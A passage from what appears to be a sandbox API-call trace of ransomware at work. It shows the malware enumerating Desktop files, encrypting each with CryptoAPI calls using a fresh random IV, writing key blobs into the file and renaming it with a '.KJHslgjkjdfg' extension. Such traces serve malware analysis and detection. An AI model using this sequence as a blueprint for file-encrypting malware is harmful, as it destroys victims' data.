lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.022] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.022] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.023] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.023] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xdc6e, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0xdc6e, lpOverlapped=0x0) returned 1 [0146.023] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xdc70, dwBufLen=0xdc70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xdc70) returned 1 [0146.024] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.024] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xdc70, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0xdc70, lpOverlapped=0x0) returned 1 [0146.024] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.024] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xdd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.024] SetEndOfFile (hFile=0xc0) returned 1 [0146.028] GetProcessHeap () returned 0x2ef0000 [0146.028] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0146.028] GetProcessHeap () returned 0x2ef0000 [0146.028] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.028] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GwTEr1lSlc5_U517.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gwter1lslc5_u517.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GwTEr1lSlc5_U517.gif.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gwter1lslc5_u517.gif.kjhslgjkjdfg")) returned 1 [0146.031] CloseHandle (hObject=0xc0) returned 1 [0146.031] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d23b50, ftCreationTime.dwHighDateTime=0x1d5df65, ftLastAccessTime.dwLowDateTime=0x97261670, ftLastAccessTime.dwHighDateTime=0x1d5e450, ftLastWriteTime.dwLowDateTime=0x97261670, ftLastWriteTime.dwHighDateTime=0x1d5e450, nFileSizeHigh=0x0, nFileSizeLow=0xaa03, dwReserved0=0x0, dwReserved1=0xffff, cFileName="J4qfZm8eMbMpttw1FEa.png", cAlternateFileName="J4QFZM~1.PNG")) returned 1 [0146.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J4qfZm8eMbMpttw1FEa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j4qfzm8embmpttw1fea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.031] GetProcessHeap () returned 0x2ef0000 [0146.031] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.031] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.031] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.031] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0xd, lpOverlapped=0x0) returned 1 [0146.033] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.033] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.033] GetProcessHeap () returned 0x2ef0000 [0146.033] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0146.033] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50) returned 1 [0146.033] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.033] WriteFile (in: hFile=0xc0, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dffc90*=0x50, lpOverlapped=0x0) returned 1 [0146.034] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.034] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.034] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.034] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.034] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.034] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.034] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.034] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.034] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaa03, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0xaa03, lpOverlapped=0x0) returned 1 [0146.036] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xaa10, dwBufLen=0xaa10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xaa10) returned 1 [0146.036] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.036] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaa10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0xaa10, lpOverlapped=0x0) returned 1 [0146.037] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.037] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xaaf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.037] SetEndOfFile (hFile=0xc0) returned 1 [0146.039] GetProcessHeap () returned 0x2ef0000 [0146.039] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0146.039] GetProcessHeap () returned 0x2ef0000 [0146.039] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.039] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J4qfZm8eMbMpttw1FEa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j4qfzm8embmpttw1fea.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J4qfZm8eMbMpttw1FEa.png.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j4qfzm8embmpttw1fea.png.kjhslgjkjdfg")) returned 1 [0146.047] CloseHandle (hObject=0xc0) returned 1 [0146.047] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75a85b00, ftCreationTime.dwHighDateTime=0x1d5e6be, ftLastAccessTime.dwLowDateTime=0xc6fbf9d0, ftLastAccessTime.dwHighDateTime=0x1d5df8e, ftLastWriteTime.dwLowDateTime=0xc6fbf9d0, ftLastWriteTime.dwHighDateTime=0x1d5df8e, nFileSizeHigh=0x0, nFileSizeLow=0x40c5, dwReserved0=0x0, dwReserved1=0xffff, cFileName="K2X uZcP1f.odp", cAlternateFileName="K2XUZC~1.ODP")) returned 1 [0146.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K2X uZcP1f.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k2x uzcp1f.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.048] GetProcessHeap () returned 0x2ef0000 [0146.048] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.048] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.048] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.048] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0xb, lpOverlapped=0x0) returned 1 [0146.050] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.050] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.050] GetProcessHeap () returned 0x2ef0000 [0146.050] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.050] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0146.050] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.050] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0146.050] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.050] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.051] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.051] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.051] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.051] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.051] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.051] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.051] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40c5, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x40c5, lpOverlapped=0x0) returned 1 [0146.052] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x40d0, dwBufLen=0x40d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x40d0) returned 1 [0146.052] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.052] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x40d0, lpOverlapped=0x0) returned 1 [0146.053] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.053] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x41a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.053] SetEndOfFile (hFile=0xc0) returned 1 [0146.057] GetProcessHeap () returned 0x2ef0000 [0146.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.057] GetProcessHeap () returned 0x2ef0000 [0146.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.057] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K2X uZcP1f.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k2x uzcp1f.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K2X uZcP1f.odp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k2x uzcp1f.odp.kjhslgjkjdfg")) returned 1 [0146.061] CloseHandle (hObject=0xc0) returned 1 [0146.061] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59b632b0, ftCreationTime.dwHighDateTime=0x1d5e51e, ftLastAccessTime.dwLowDateTime=0x9b46d2a0, ftLastAccessTime.dwHighDateTime=0x1d5df08, ftLastWriteTime.dwLowDateTime=0x9b46d2a0, ftLastWriteTime.dwHighDateTime=0x1d5df08, nFileSizeHigh=0x0, nFileSizeLow=0xa862, dwReserved0=0x0, dwReserved1=0xffff, cFileName="k8ua Yrgwn78Vdtdc.pps", cAlternateFileName="K8UAYR~1.PPS")) returned 1 [0146.062] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k8ua Yrgwn78Vdtdc.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k8ua yrgwn78vdtdc.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.062] GetProcessHeap () returned 0x2ef0000 [0146.062] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.062] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.062] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.062] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0xe, lpOverlapped=0x0) returned 1 [0146.064] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.064] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.064] GetProcessHeap () returned 0x2ef0000 [0146.064] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0146.064] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50) returned 1 [0146.064] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.064] WriteFile (in: hFile=0xc0, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dffc90*=0x50, lpOverlapped=0x0) returned 1 [0146.064] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.064] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.064] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.065] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.065] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.065] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.065] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.065] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.065] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa862, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0xa862, lpOverlapped=0x0) returned 1 [0146.066] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xa870, dwBufLen=0xa870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xa870) returned 1 [0146.066] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.066] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa870, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0xa870, lpOverlapped=0x0) returned 1 [0146.067] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.067] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xa954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.067] SetEndOfFile (hFile=0xc0) returned 1 [0146.070] GetProcessHeap () returned 0x2ef0000 [0146.070] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0146.070] GetProcessHeap () returned 0x2ef0000 [0146.070] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.070] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k8ua Yrgwn78Vdtdc.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k8ua yrgwn78vdtdc.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k8ua Yrgwn78Vdtdc.pps.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k8ua yrgwn78vdtdc.pps.kjhslgjkjdfg")) returned 1 [0146.074] CloseHandle (hObject=0xc0) returned 1 [0146.074] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43eb7070, ftCreationTime.dwHighDateTime=0x1d5dd90, ftLastAccessTime.dwLowDateTime=0xbf9ec320, ftLastAccessTime.dwHighDateTime=0x1d5e0ab, ftLastWriteTime.dwLowDateTime=0xbf9ec320, ftLastWriteTime.dwHighDateTime=0x1d5e0ab, nFileSizeHigh=0x0, nFileSizeLow=0x11f6d, dwReserved0=0x0, dwReserved1=0xffff, cFileName="kxfgdpRT3rRCpI.gif", cAlternateFileName="KXFGDP~1.GIF")) returned 1 [0146.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kxfgdpRT3rRCpI.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kxfgdprt3rrcpi.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.075] GetProcessHeap () returned 0x2ef0000 [0146.075] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.075] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.075] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.076] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x3, lpOverlapped=0x0) returned 1 [0146.078] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.078] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.078] GetProcessHeap () returned 0x2ef0000 [0146.078] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.078] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0146.078] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.078] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0146.078] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.078] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.078] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.079] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.079] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 